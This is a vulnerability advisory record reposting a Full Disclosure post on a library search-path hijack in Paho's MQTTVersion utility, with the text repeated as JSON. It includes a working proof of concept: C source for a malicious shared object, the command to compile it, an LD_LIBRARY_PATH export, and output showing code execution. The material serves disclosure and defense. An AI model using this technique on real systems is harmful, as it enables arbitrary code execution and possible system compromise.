GCVE-1988-2026-0174

Vulnerability from gna-1988 – Published: 2026-09-08 07:25 – Updated: 2026-09-08 07:25
VLAI
Title
Paho v1.3.15 Arbitrary Code Execution via Shared Library Search Path Hijacking
Summary
*Description:* Arbitrary code execution is possible in the MQTTVersion utility due to uncontrolled loading of shared libraries using non-absolute paths. The application invokes dlopen() with relative library names and relies on the dynamic loader’s search path to resolve the target library. Because the library origin is not restricted to trusted directories and no integrity or authenticity checks are performed, an attacker can cause a malicious shared object to be loaded and executed.This vulnerability occurs when the process inherits a user-controlled library search path, such as through the LD_LIBRARY_PATH environment variable. Under these conditions, an attacker-supplied shared object with a matching library name will be loaded instead of the legitimate library. *Impact:* An attacker can execute arbitrary code in the context of the user running the MQTTVersion utility. If the utility is executed with elevated privileges or within automated environments (e.g., CI/CD pipelines, packaging systems, or administrative scripts), this vulnerability may result in full system compromise. *Affected Code:* void* APILibrary = dlopen("libpaho-mqtt3c.so.1", RTLD_LAZY); *Attack Scenario:* 1. An attacker places a malicious shared object named libpaho-mqtt3c.so.1 in a directory they control. 2. The attacker modifies the runtime environment to include this directory in the loader search path. 3. When the utility is executed, the malicious library is loaded and attacker-controlled code executes. *Proof of Concept (PoC):* *Malicious Shared Object:* // evil.c #include <stdlib.h> typedef struct { const char* name; const char* value; } MQTTAsync_nameValue; MQTTAsync_nameValue* MQTTAsync_getVersionInfo(void) { system("echo RCE_FROM_SO"); static MQTTAsync_nameValue v[] = { {"PWNED", "Function pointer executed"}, {NULL, NULL} }; return v; } *Compile the malicious library:* clang -shared -fPIC evil.c -o libpaho-mqtt3c.so.1 *Exploitation:* export LD_LIBRARY_PATH=$PWD ./MQTTVersion *Output:* MQTTVersion: print the version strings of an MQTT client library Copyright (c) 2012, 2018 IBM Corp. Specify a particular library name if it is not in the current directory, or not executable on this platform --- Trying library paho-mqtt3c --- RCE_FROM_SO PWNED: Function pointer executed --- Trying library paho-mqtt3cs --- Error loading library libpaho-mqtt3cs.so.1, error libpaho-mqtt3cs.so.1: cannot open shared object file: No such file or directory --- Trying library paho-mqtt3a --- Error loading library libpaho-mqtt3a.so.1, error libpaho-mqtt3a.so.1: cannot open shared object file: No such file or directory --- Trying library paho-mqtt3as --- Error loading library libpaho-mqtt3as.so.1, error libpaho-mqtt3as.so.1: cannot open shared object file: No such file or directory Ron Edgerson Vulnerability Researcher & Exploit Developer CVE Research | Binary Exploitation | Application & Systems Security Responsible Disclosure • Proof-of-Concept Development 🌐 https://github.com/ob1sec 🔗 https://www.linkedin.com/in/ronedgerson1 <https://linkedin.com/in/yourhandle> _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Vendor Product Version CPE status
unknown Paho Affected: unknown
guessed Create a notification for this product.
Credits

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          "product": "Paho",
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          "value": "*Description:*\nArbitrary code execution is possible in the MQTTVersion utility due to\nuncontrolled loading of shared libraries using non-absolute paths. The\napplication invokes dlopen() with relative library names and relies on the\ndynamic loader\u2019s search path to resolve the target library. Because the\nlibrary origin is not restricted to trusted directories and no integrity or\nauthenticity checks are performed, an attacker can cause a malicious shared\nobject to be loaded and executed.This vulnerability occurs when the process\ninherits a user-controlled library search path, such as through the\nLD_LIBRARY_PATH environment variable. Under these conditions, an\nattacker-supplied shared object with a matching library name will be loaded\ninstead of the legitimate library.\n\n*Impact:*\nAn attacker can execute arbitrary code in the context of the user running\nthe MQTTVersion utility. If the utility is executed with elevated\nprivileges or within automated environments (e.g., CI/CD pipelines,\npackaging systems, or administrative scripts), this vulnerability may\nresult in full system compromise.\n\n*Affected Code:*\nvoid* APILibrary = dlopen(\"libpaho-mqtt3c.so.1\", RTLD_LAZY);\n\n*Attack Scenario:*\n\n   1. An attacker places a malicious shared object named libpaho-mqtt3c.so.1\n   in a directory they control.\n   2. The attacker modifies the runtime environment to include this\n   directory in the loader search path.\n   3. When the utility is executed, the malicious library is loaded and\n   attacker-controlled code executes.\n\n*Proof of Concept (PoC):*\n\n*Malicious Shared Object:*\n// evil.c\n#include \u003cstdlib.h\u003e\n\ntypedef struct {\n    const char* name;\n    const char* value;\n} MQTTAsync_nameValue;\n\nMQTTAsync_nameValue* MQTTAsync_getVersionInfo(void) {\n    system(\"echo RCE_FROM_SO\");\n    static MQTTAsync_nameValue v[] = {\n        {\"PWNED\", \"Function pointer executed\"},\n        {NULL, NULL}\n    };\n    return v;\n}\n\n*Compile the malicious library:*\nclang -shared -fPIC evil.c -o libpaho-mqtt3c.so.1\n\n*Exploitation:*\nexport LD_LIBRARY_PATH=$PWD\n./MQTTVersion\n\n*Output:*\nMQTTVersion: print the version strings of an MQTT client library\nCopyright (c) 2012, 2018 IBM Corp.\nSpecify a particular library name if it is not in the current directory, or\nnot executable on this platform\n--- Trying library paho-mqtt3c ---\nRCE_FROM_SO\nPWNED: Function pointer executed\n--- Trying library paho-mqtt3cs ---\nError loading library libpaho-mqtt3cs.so.1, error libpaho-mqtt3cs.so.1:\ncannot open shared object file: No such file or directory\n--- Trying library paho-mqtt3a ---\nError loading library libpaho-mqtt3a.so.1, error libpaho-mqtt3a.so.1:\ncannot open shared object file: No such file or directory\n--- Trying library paho-mqtt3as ---\nError loading library libpaho-mqtt3as.so.1, error libpaho-mqtt3as.so.1:\ncannot open shared object file: No such file or directory\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
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